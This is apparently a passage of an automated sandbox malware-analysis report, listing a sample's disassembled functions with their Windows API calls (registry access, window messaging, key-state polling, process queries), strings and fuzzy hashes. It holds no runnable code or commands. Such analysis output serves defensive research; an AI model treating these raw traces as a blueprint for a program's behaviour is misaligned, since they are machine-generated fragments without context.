GetStdHandle.KERNEL32(000000F6), ref: 00C372B1
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00C372E3
GetStdHandle.KERNEL32(000000F6), ref: 00C372F4
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00C3732E

Strings

nul, xrefs: 00C37329

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: b1c1ab5d107c550a54a4a26e80d48f2fcf146a20416a56ad649aea6135a2b75e
Instruction ID: 2e97bccaa38991c9e4a5c04e43804c2a20d122ea859811056bc6d0eb772a4946
Opcode Fuzzy Hash: b1c1ab5d107c550a54a4a26e80d48f2fcf146a20416a56ad649aea6135a2b75e
Instruction Fuzzy Hash: 452162B1518206DBDB30AF699C44B9A77A8AF55730F300B19FCB1E72D0DBB199409751

Function 00C3B0F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C3B104
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00C3B158
__swprintf.LIBCMT ref: 00C3B171
SetErrorMode.KERNEL32(00000000,00000001,00000000,00C60980), ref: 00C3B1AF

Strings

%lu, xrefs: 00C3B16B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 6e228b466ddeceffeff65571f12d1d3963e5a46ee443b69717f45af83cf16981
Instruction ID: 2eefc67e5ccaa95f59a5d880ccad7c5eecaad26779fb3da1b8a5e62ba3ea89ba
Opcode Fuzzy Hash: 6e228b466ddeceffeff65571f12d1d3963e5a46ee443b69717f45af83cf16981
Instruction Fuzzy Hash: 11215E34A00108AFCB10EB65C995EAEB7F8EF89704B1084A9F909E7251DB71EA45DB61

Function 00C2A9E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Part of subcall function 00C2A835: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00C2A852
Part of subcall function 00C2A835: GetWindowThreadProcessId.USER32(?,00000000), ref: 00C2A865
Part of subcall function 00C2A835: GetCurrentThreadId.KERNEL32 ref: 00C2A86C
Part of subcall function 00C2A835: AttachThreadInput.USER32(00000000), ref: 00C2A873

GetFocus.USER32 ref: 00C2AA0D

Part of subcall function 00C2A87E: GetParent.USER32(?), ref: 00C2A88C

GetClassNameW.USER32(?,?,00000100), ref: 00C2AA56
EnumChildWindows.USER32(?,00C2AACE), ref: 00C2AA7E
__swprintf.LIBCMT ref: 00C2AA98

Strings

%s%d, xrefs: 00C2AA92

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 09568138048dbda019c25bf9228160f95157cbcd7557f4bc61ab37df5a07cde8
Instruction ID: 7df0a639fba795c0e9326a36eb5f4bdcdce3c282393da047f873c229b6ca19b6
Opcode Fuzzy Hash: 09568138048dbda019c25bf9228160f95157cbcd7557f4bc61ab37df5a07cde8
Instruction Fuzzy Hash: 2211A271600215BBDF11BFA5DD85FAE37ADAF44700F1040B9FD18AA182DA705946DB71

Function 00C32153 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C32184

Strings

KEYS, xrefs: 00C3219B
APPEND, xrefs: 00C321BD
REMOVE, xrefs: 00C3218A
EXISTS, xrefs: 00C321AC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 6d67dd49bf271ba0e39646fc0ed08e8e781a907838912547e72dba19c12055ac
Instruction ID: ae8b607b6b5e68bc90c364ba5d6da57f8cdd93e99e498ebd82840dd1360e2d6e
Opcode Fuzzy Hash: 6d67dd49bf271ba0e39646fc0ed08e8e781a907838912547e72dba19c12055ac
Instruction Fuzzy Hash: 3F118B749201088F8F04EF64C9519FEB3B4FF65308B5085A8E926A7263DB325E0ACB40

Function 00C4F006 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00C4F0B8
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00C4F0E8
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00C4F21B
CloseHandle.KERNEL32(?), ref: 00C4F29C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 06a8556ff50244d3d0339fab2114d5caaa9adb5612e080aafef3ccbdb7e2a310
Instruction ID: 84afee4ca144b9dde6c4e81aa97f381792fd319380d49045c9d938f62d55ab81
Opcode Fuzzy Hash: 06a8556ff50244d3d0339fab2114d5caaa9adb5612e080aafef3ccbdb7e2a310
Instruction Fuzzy Hash: 598191756007019FD720DF28D846F2BF7E5AF88710F14896EF9999B392E7B0AD018B51

Function 00C5045F Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C51242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C501D5,?,?), ref: 00C51259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C50525
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C50564
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00C505AB
RegCloseKey.ADVAPI32(?,?), ref: 00C505D7
RegCloseKey.ADVAPI32(00000000), ref: 00C505E4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: a4d215a3c77722041f649ba2d8584751a0964cd937077cc3d910ac6126d43898
Instruction ID: d4e200c1f0a7eff2e22868b8cf2a5e5ad0a9016ac0fb6868625d7a2f1af6a770
Opcode Fuzzy Hash: a4d215a3c77722041f649ba2d8584751a0964cd937077cc3d910ac6126d43898
Instruction Fuzzy Hash: DC514A71208204AFC714EF59C881F6EB7E8FF84304F60495DF99697291EB70E948DB56

Function 00C3EA21 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00C3EACF
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00C3EAF8
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00C3EB37

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00C3EB5C
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00C3EB64

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 58e5cf7f657b3b32c110119cfd3b743ef001f2ce642e4945b7469e56dac65479
Instruction ID: f2883f599ae10973fa22c245c71e1dcd1b4e3240176349fb7a196ee6f3aaf290
Opcode Fuzzy Hash: 58e5cf7f657b3b32c110119cfd3b743ef001f2ce642e4945b7469e56dac65479
Instruction Fuzzy Hash: 21512D35A00509DFCF11EF65C985AAEBBF5EF08314B1480A9E919AB3A2DB31ED11DB50

Function 00C5A443 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad4af5c677df6c3886a9272084c5dfcd01ff3b1e4fc9d16de888b162ab55b8b
Instruction ID: 3b40e1bd340d018c4fb3fe8327c552d185bc0d9d611021ac8d7b4ea95210540f
Opcode Fuzzy Hash: 7ad4af5c677df6c3886a9272084c5dfcd01ff3b1e4fc9d16de888b162ab55b8b
Instruction Fuzzy Hash: 5D41D739900114AFC720DF6ACC48FA9BBA4FB09311F540355FD29A72E1D7B09E94DB5A

Function 00BD2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BD2727
ScreenToClient.USER32(00C967B0,?), ref: 00BD2744
GetAsyncKeyState.USER32(00000001), ref: 00BD2769
GetAsyncKeyState.USER32(00000002), ref: 00BD2777

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: d1159605d5bb35afe20a0382e12bc40bbb9afcbef5a05aeca1df9f83a2d00ebf
Instruction ID: 85f7bf73a24dbff0a4282409ec51097484c981edd9bc189af893d841e4fcb291
Opcode Fuzzy Hash: d1159605d5bb35afe20a0382e12bc40bbb9afcbef5a05aeca1df9f83a2d00ebf
Instruction Fuzzy Hash: 2D416F75504149FBDF299FA5C884EE9FBB4FB15321F20435AF829922D0D730AE94DB90

Function 00C293BA Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C293CB
PostMessageW.USER32(?,00000201,00000001), ref: 00C29475
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00C2947D
PostMessageW.USER32(?,00000202,00000000), ref: 00C2948B
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00C29493

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 7c2d60ce5294eb24d99ea8eddf31d9c4697fc6fe9d8cc2455d30eb5d30a737e1
Instruction ID: 11987a093d1013eb08643495ad952858a449c16314632edb926dd09e41989be1
Opcode Fuzzy Hash: 7c2d60ce5294eb24d99ea8eddf31d9c4697fc6fe9d8cc2455d30eb5d30a737e1
Instruction Fuzzy Hash: A431CE71500229EFDF14CFA9E94CB9E7BB5EF45315F208229F925AA1D0C3B09A14DB90

Function 00C2BB68 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00C2BB80
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00C2BB9D
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00C2BBD5
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00C2BBFB
_wcsstr.LIBCMT ref: 00C2BC05

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 7ba8570c54d1650ef69b325626f885fce31e363404905ef7a53dd467fdcf9294
Instruction ID: 1817cd55649b20f50aed005ee5e357e3867dd73cf21bbc87ae0711e56c644fe8
Opcode Fuzzy Hash: 7ba8570c54d1650ef69b325626f885fce31e363404905ef7a53dd467fdcf9294
Instruction Fuzzy Hash: 992107322042147BEB255B3AEC05F7F7BE8DF44720F104169FD05DA161EFA1DD4092A0

Function 00C5B538 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

GetWindowLongW.USER32(?,000000F0), ref: 00C5B57F
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00C5B5A4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00C5B5BC
GetSystemMetrics.USER32(00000004), ref: 00C5B5E5
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00C41340,00000000), ref: 00C5B603

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: fc24a279dfe54556fd03d78c6e578bd2bc7e7a77be020e3a5ce80889d3351b52
Instruction ID: cc07890d0b23ae9272a08c6fad083006a52397c99bde000ea34799864840ba62
Opcode Fuzzy Hash: fc24a279dfe54556fd03d78c6e578bd2bc7e7a77be020e3a5ce80889d3351b52
Instruction Fuzzy Hash: BB217475510215AFCB249F3A8C08B6A7BA5EB05722F214725FD32D61E0E7709E94CB44

Function 00C29CA2 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00C29CBB

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00C29CED
__itow.LIBCMT ref: 00C29D05
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00C29D2D
__itow.LIBCMT ref: 00C29D3E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 1285287a276c8351b207f17e23c8c715b82871f950c1134fd095ab89231cbef5
Instruction ID: 8e393e30a25d95dcc86273047a616447dc149e1c6cb9e39f7a98b9e617910975
Opcode Fuzzy Hash: 1285287a276c8351b207f17e23c8c715b82871f950c1134fd095ab89231cbef5
Instruction Fuzzy Hash: E221A731701218BBDB20AA66EC89EEE7BEDEF45750F140065FE01EB251D6B0CD45E7A1

Function 00BD16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BD1729
SelectObject.GDI32(?,00000000), ref: 00BD1738
BeginPath.GDI32(?), ref: 00BD174F
SelectObject.GDI32(?,00000000), ref: 00BD1778

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 15ded7696b10e9cfec1873ea52d9e2876a623aa7ef2e5c62bf175d5f52e46b37
Instruction ID: 8d2828d7d0ac0bec3e88b44e4f6b2c9f8adb2a35b7ffeed51bbc4fd3e789f017
Opcode Fuzzy Hash: 15ded7696b10e9cfec1873ea52d9e2876a623aa7ef2e5c62bf175d5f52e46b37
Instruction Fuzzy Hash: 1C214170900208EBDB119F69DD4876EBBF9F700751F148657F811A62F0E7B19D91CB94

Function 00C2C61A Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00C2C62F
_memcmp.LIBCMT ref: 00C2C64D
_memcmp.LIBCMT ref: 00C2C660
_memcmp.LIBCMT ref: 00C2C678
_memcmp.LIBCMT ref: 00C2C690

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 51f3f93e759667c507a9749c6c638997c85b57dd8c69815a8c4809e2a73ee606
Instruction ID: 912fef03d2a9fc24b707880b0bc19b10dfeb54d9ce0159de737430540b915989
Opcode Fuzzy Hash: 51f3f93e759667c507a9749c6c638997c85b57dd8c69815a8c4809e2a73ee606
Instruction Fuzzy Hash: 9D01D8B1B0012ABBD220A616ADC2FBF779CAEB0794F004866FE15D7641F770DF1482A4

Function 00C34EBB Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C34EE2
__beginthreadex.LIBCMT ref: 00C34F00
MessageBoxW.USER32(?,?,?,?), ref: 00C34F15
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00C34F2B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00C34F32

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: cdd28f1db14e9daa004dd330540dc215de24ba09ab02905720e8c9e68ecb4d25
Instruction ID: 8bf8d9d68293617c041728d8692401bf447a1cc717d9d098c8fbdaf4bd712c55
Opcode Fuzzy Hash: cdd28f1db14e9daa004dd330540dc215de24ba09ab02905720e8c9e68ecb4d25
Instruction Fuzzy Hash: E5110CB59146057BC7118BB99C08BDF7BACEB46320F140256F824E33A0D6B5890487A0

Function 00C28C03 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00C28C1F
GetLastError.KERNEL32(?,00C286E3,?,?,?), ref: 00C28C29
GetProcessHeap.KERNEL32(00000008,?,?,00C286E3,?,?,?), ref: 00C28C38
HeapAlloc.KERNEL32(00000000,?,00C286E3,?,?,?), ref: 00C28C3F
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00C28C56

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: bc6b1fe7330931fd93a8034fbcfb013786a95774c75fce2783ed70b2b25476a6
Instruction ID: d29e25801be8251bacae7b0e4158cfd4777a41f9b7e3d3134028d551981dd988
